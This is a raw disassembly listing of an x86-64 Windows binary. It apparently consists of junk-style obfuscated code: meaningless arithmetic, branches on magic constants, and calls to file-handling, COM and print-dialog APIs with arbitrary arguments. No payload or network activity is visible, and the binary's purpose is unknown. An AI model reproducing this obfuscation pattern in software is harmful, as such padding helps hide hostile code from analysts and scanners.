mov r9, qword [rax]
mov r8, qword [rsp + 0xae68]
mov rdx, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xae68]
call fcn.1401d9380
nop
jmp 0x14000d606
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3534]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3600], eax
mov rax, qword [rsp + 0xafb8]
mov rcx, qword [rsp + 0xae78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x343c], eax
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov dword [rsp + 0x36c0], eax
cmp dword [rsp + 0x36c0], 0
je 0x14000d654
cmp dword [rsp + 0x36c0], 0x437307f2
je 0x1401d8176
jmp 0x1401d81c3
mov dword [rsp + 0x20], 0x4d5
mov r9d, 0x188d
mov r8d, 0x1289
mov edx, 0x2e43
mov rcx, qword [rsp + 0xb068]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x36c4], eax
mov rax, qword [rsp + 0xade8]
mov rax, qword [rax]
mov qword [rsp + 0xb078], rax
cmp qword [rsp + 0xb078], 1
je 0x14000d6bd
movabs rax, 0x2a7b9843b9d04ea
cmp qword [rsp + 0xb078], rax
je 0x1401d7fa0
jmp 0x1401d8112
lea rdx, [rsp + 0x26ed8]
mov rcx, qword [rsp + 0xb068]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x36c8], eax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3444]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x343c]
mov edx, dword [rsp + 0x36ac]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14000d73f
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [0x1402112c1]
add eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xae90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
cmp dword [rsp + 0x3574], 0x1197
jb 0x14000dc86
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xaeb0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xafc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xda0]
movsx ecx, word [rsp + 0xa6c]
or eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb028]
mov qword [rsp + 0xb080], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x34b8], eax
mov rax, qword [rsp + 0xae08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae58]
mov qword [rsp + 0xb088], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb088]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb058]
mov qword [rcx], rax
mov rax, qword [rsp + 0xafa8]
mov rcx, qword [rsp + 0xaf40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf70], rax
lea rdx, [rsp + 0x3500]
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3648], eax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x155]
add eax, ecx
mov byte [rsp + 0x154], al
mov eax, dword [rsp + 0x3574]
sub eax, 0xa6
mov dword [rsp + 0x3574], eax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x157], al
mov rcx, qword [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x34ec], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xafc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov word [rsp + 0xda0], ax
movsx eax, byte [rsp + 0x143]
mov rcx, qword [rsp + 0xad58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402112c0], al
lea rdx, [rsp + 0x26f48]
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x36cc], eax
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0xade8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xafa8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x1b6a
mov r9d, 0x334
mov r8d, 0x2d5e
mov edx, 0xe04
mov rcx, qword [rsp + 0xade0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x3690], eax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa4c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb058]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae08]
mov ecx, dword [rsp + 0x3450]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34cc], eax
mov rax, qword [rsp + 0xb028]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0xb090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeac]
shl eax, cl
mov rcx, qword [rsp + 0xae40]
mov word [rcx], ax
movsx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xaeb0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xa6c], ax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
and eax, ecx
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0xaea0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
add eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb068]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3660], eax
mov eax, dword [rsp + 0x36ac]
mov ecx, dword [0x140210004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x343c], eax
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xaec0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x36d0], eax
mov rax, qword [rsp + 0xb028]
mov ecx, dword [rsp + 0x35c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3534], eax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xb058]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov qword [rcx], rax
lea rdx, [rsp + 0xb020]
mov rcx, qword [rsp + 0xaef8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3654], eax
mov rax, qword [rsp + 0xaf68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb4]
add eax, ecx
mov rcx, qword [rsp + 0xaf68]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb8]
movzx ecx, word [rsp + 0xea8]
sub eax, ecx
mov word [rsp + 0xebc], ax
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3690], eax
movzx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov byte [rcx], al
lea rdx, [rsp + 0xb098]
mov rcx, qword [rsp + 0xac90]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x354c], eax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0xaf68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [section..data], ax
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x3514], eax
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xadd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf70], rax
lea rdx, [rsp + 0x3594]
mov rcx, qword [rsp + 0xb030]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x3570], eax
mov eax, dword [rsp + 0x34cc]
mov rcx, qword [rsp + 0xae78]
mov qword [rsp + 0xb0a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x35ec], eax
jmp 0x14000d73f
cmp dword [rsp + 0x369c], 0xd26c
jb 0x14000df81
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac80]
shl rax, cl
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xae80]
mov ecx, dword [rsp + 0x34b8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xae10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xb060]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xae48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad50]
mov byte [rcx], al
mov rax, qword [rsp + 0xae40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0xafa0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xae78]
mov ecx, dword [rsp + 0x34cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x35ec], eax
lea rdx, [rsp + 0x26fb8]
mov rcx, qword [rsp + 0xb018]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x366c], eax
mov rax, qword [rsp + 0xb058]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xac80], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x20c8
mov rcx, qword [rsp + 0xada0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3648], eax
lea rdx, [rsp + 0x26f48]
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0xae80]
mov rcx, qword [rsp + 0xb028]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34b8], eax
mov edx, 0x4a6056
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x3514], eax
mov rax, qword [rsp + 0xaf40]
mov rcx, qword [rsp + 0xade8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x150]
mov rcx, qword [rsp + 0xaf90]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x157], al
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb8], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x155]
or eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov byte [rcx], al
mov eax, dword [rsp + 0x369c]
sub eax, 0xce
mov dword [rsp + 0x369c], eax
movsx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaea0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc76
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x36d4], eax
movzx eax, byte [rsp + 0x159]
movzx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov byte [rcx], al
mov rcx, qword [rsp + 0xacb8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x34f0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa0b1
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3628], eax
mov rcx, qword [rsp + 0xae88]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x3628], eax
jmp 0x14000dc86
mov eax, dword [rsp + 0x35c0]
mov dword [rsp + 0x36d8], eax
cmp dword [rsp + 0x36d8], 0
je 0x14000e08f
cmp dword [rsp + 0x36d8], 0x42ac2290
je 0x14000dfaf
jmp 0x1401d7e86
mov rax, qword [rsp + 0xae08]
mov rcx, qword [rsp + 0xae78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3444], eax
movzx eax, word [rsp + 0xeac]
mov dword [rsp + 0x36dc], eax
cmp dword [rsp + 0x36dc], 0x30c
je 0x14000dfea
jmp 0x14000e038
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xae90]
mov byte [rcx], al
mov rax, qword [rsp + 0xb058]
mov r9, qword [rax]
mov r8, qword [rsp + 0xae68]
mov rdx, qword [rsp + 0xac80]
mov rax, qword [rsp + 0xaed0]
mov rcx, qword [rax]
call fcn.1401d9380
nop
movsx eax, word [rsp + 0xa6c]
movsx ecx, word [rsp + 0xda0]
add eax, ecx
mov rcx, qword [rsp + 0xaeb0]
mov word [rcx], ax
lea rdx, [rsp + 0xa6c]
lea rcx, [rsp + 0x26db8]
call qword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [rsp + 0x3608], eax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [0x1402112c0]
add eax, ecx
mov byte [rsp + 0x154], al
jmp 0x1401d7e86
lea rax, [rsp + 0xda0]
mov qword [rsp + 0xb0a8], rax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov dword [rsp + 0x36e0], eax
cmp dword [rsp + 0x36e0], 0
je 0x14000e0bf
jmp 0x1401d7e12
mov rax, qword [rsp + 0xad58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xae90]
movsx ecx, byte [rcx]
or eax, ecx
movsx ecx, byte [rsp + 0x143]
mov dword [rsp + 0x36e4], ecx
mov rdx, qword [rsp + 0xaf00]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x36e4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14000e337
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x35c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae10]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3698]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14000e1f1
mov eax, dword [rsp + 0x343c]
mov ecx, dword [rsp + 0x34cc]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3450]
mov edx, dword [rsp + 0x35ec]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000e1f1
mov eax, dword [rsp + 0x3450]
mov ecx, dword [rsp + 0x34cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3698]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x364c], eax
lea rcx, [rsp + 0xb070]
call qword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [rsp + 0x36e8], eax
mov rax, qword [rsp + 0xace0]
mov rcx, qword [rsp + 0xaec0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0xaed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x36ec], al
cmp byte [rsp + 0x36ec], 0xfe
je 0x14000e20c
jmp 0x14000e284
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xda0]
sar eax, cl
mov word [rsp + 0xeb4], ax
movsx eax, byte [rsp + 0x151]
movsx ecx, byte [rsp + 0x156]
shl eax, cl
mov rcx, qword [rsp + 0xad90]
mov byte [rcx], al
mov r8w, 0x2b
mov rdx, qword [rsp + 0xb0b0]
mov rcx, qword [rsp + 0xacf8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xda0], ax
movzx eax, word [rsp + 0xebc]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov word [rsp + 0xeb8], ax
jmp 0x14000e332
movsx eax, word [section..data]
mov dword [rsp + 0x36f0], eax
cmp dword [rsp + 0x36f0], 0
je 0x14000e29e
jmp 0x14000e2db
mov rax, qword [rsp + 0xaf90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
xor eax, ecx
mov byte [rsp + 0x150], al
lea rax, [rsp + 0x155]
mov qword [0x1402112d0], rax
lea rax, [rsp + 0xea8]
mov qword [rsp + 0xb0b8], rax
jmp 0x14000e332
lea rcx, [rsp + 0x2cfc0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x36f4], eax
mov rax, qword [rsp + 0xb058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaec0]
mov rcx, qword [rsp + 0xace0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xadd0], rax
jmp 0x14000e3c8
lea rcx, [rsp + 0x2ce40]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x3448], eax
mov eax, dword [rsp + 0x35c0]
mov dword [rsp + 0x36f8], eax
cmp dword [rsp + 0x36f8], 0x4d7c2f3f
je 0x14000e3b3
cmp dword [rsp + 0x36f8], 0x707381f4
je 0x14000e376
jmp 0x14000e3c8
mov rax, qword [rsp + 0xae10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3698]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x35c0], eax
mov rax, qword [rsp + 0xae78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x35ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xafb8]
mov dword [rcx], eax
jmp 0x14000e3c8
lea rcx, [rsp + 0x2cec0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x3440], eax
movzx eax, word [rsp + 0xeac]
mov rcx, qword [rsp + 0xae60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb060]
mov word [rcx], ax
movsx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0xae98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x156], al
mov rax, qword [rsp + 0xb060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
movzx ecx, word [rsp + 0xeb8]
mov rdx, qword [rsp + 0xae60]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14000e54d
lea rdx, [rsp + 0x36fc]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x34f4], eax
movsx eax, word [rsp + 0xeb0]
mov dword [rsp + 0x3700], eax
cmp dword [rsp + 0x3700], 0
je 0x14000e471
jmp 0x14000e500
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov byte [rsp + 0x3704], al
cmp byte [rsp + 0x3704], 0
je 0x14000e499
cmp byte [rsp + 0x3704], 6
je 0x14000e4e2
jmp 0x14000e4fe
mov edx, 0x20a6a1
mov rcx, qword [rsp + 0xb068]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x34d4], eax
movzx eax, word [rsp + 0xda0]
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xb058]
mov rcx, qword [rsp + 0xae68]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140210008], rax
jmp 0x14000e4fe
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
or eax, ecx
mov byte [rsp + 0x152], al
jmp 0x14000e548
mov rax, qword [rsp + 0xb060]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xad78]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf00]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x154]
mov rax, qword [rsp + 0xad58]
movzx ecx, byte [rax]
call fcn.1401d98a0
nop
jmp 0x14000e5f1
mov r8w, 0xf1
mov rdx, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xacf8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xeb0], ax
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x3708], al
cmp byte [rsp + 0x3708], 0x67
je 0x14000e58b
jmp 0x14000e5d4
mov rax, qword [rsp + 0xafc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0xade8]
mov r8, qword [rax]
mov rax, qword [rsp + 0xb0b8]
movzx edx, word [rax]
mov rax, qword [rsp + 0xb060]
movzx ecx, word [rax]
call fcn.1401d9170
nop
jmp 0x14000e5f1
mov rax, qword [rsp + 0xae80]
mov ecx, dword [rsp + 0x34c4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xad98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad60]
movzx eax, word [rax]
mov dword [rsp + 0x370c], eax
cmp dword [rsp + 0x370c], 0
je 0x14000e612
jmp 0x14000e741
movzx eax, byte [rsp + 0x152]
movzx ecx, byte [rsp + 0x150]
and eax, ecx
movzx ecx, byte [rsp + 0x159]
movzx edx, byte [rsp + 0x153]
sub ecx, edx
cmp eax, ecx
jge 0x14000e73f
mov rax, qword [rsp + 0xafb8]
mov ecx, dword [rsp + 0x343c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x36ac], eax
mov rax, qword [rsp + 0xae48]
movzx eax, byte [rax]
mov byte [rsp + 0x3710], al
cmp byte [rsp + 0x3710], 0x4c
je 0x14000e687
cmp byte [rsp + 0x3710], 0xf4
je 0x14000e71c
jmp 0x14000e73f
lea rcx, [rsp + 0x2cdc0]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0xacd8]
mov rcx, qword [rsp + 0xaeb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaf70], rax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0xae68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xebc]
mov rcx, qword [rsp + 0xae40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xaf88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402112c8]
mov word [rcx], ax
jmp 0x14000e73f
mov r8w, 0xc7
mov rdx, qword [rsp + 0xb0c8]
mov rcx, qword [rsp + 0xb0d0]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xeb4], ax
jmp 0x14000e769
mov rax, qword [rsp + 0xaf00]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0xad58]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xad58]
movzx ecx, byte [rax]
call fcn.1401d98a0
nop
movsx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0xaf00]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae98]
mov byte [rcx], al
mov rax, qword [rsp + 0xb058]
mov rcx, qword [rsp + 0xaf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xa4c8]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14000e834
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x153]
sub eax, ecx
mov byte [rsp + 0x157], al
lea rcx, [rsp + 0x2d050]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x36bc], eax
mov rax, qword [rsp + 0xad78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb060]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xae60]
mov word [rcx], ax
mov rax, qword [rsp + 0xae58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x36ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3450], eax
jmp 0x14000e996
mov rax, qword [rsp + 0xb0b8]
movzx eax, word [rax]
mov dword [rsp + 0x3714], eax
cmp dword [rsp + 0x3714], 0
je 0x14000e855
jmp 0x14000e981
lea rdx, [rsp + 0xaea8]
mov rcx, qword [rsp + 0xae70]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x3584], eax
lea rax, [rsp + 0x3600]
mov qword [rsp + 0xb0d8], rax
movsx eax, word [rsp + 0xa6c]
mov rcx, qword [rsp + 0xaea0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad70]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xeb0]
and ecx, edx
cmp eax, ecx
jl 0x14000e97f
movzx eax, word [section..data]
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0xad70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaf68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xafa0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb058]
mov rcx, qword [rsp + 0xaed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaf50]
mov rdx, qword [rsp + 0xae68]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
je 0x14000ea27
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
movzx ecx, byte [0x1402112c1]
sub eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0xafa8]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0xae68]
call fcn.1401d9ff0
nop
mov dword [rsp + 0x28], 0xb8
lea rax, [rsp + 0xad48]
mov qword [rsp + 0x20], rax
mov r9d, 0xfb
lea r8, [rsp + 0x34b0]
lea rdx, [rsp + 0x26e68]
lea rcx, [rsp + 0xaeb0]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x36bc], eax
mov ecx, 0x52
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x36bc], eax
movzx eax, byte [rsp + 0x153]
mov rcx, qword [rsp + 0xad50]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140210002], al
mov rax, qword [rsp + 0xaf28]
movzx eax, byte [rax]
mov byte [rsp + 0xa458], al
cmp byte [rsp + 0xa458], 0x29
je 0x1401d7ed4
jmp 0x1401d7f74
lea rax, [rsp + 0xb268]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xaea0]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x26dc8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xae10]
mov qword [rsp + 0x20], rax
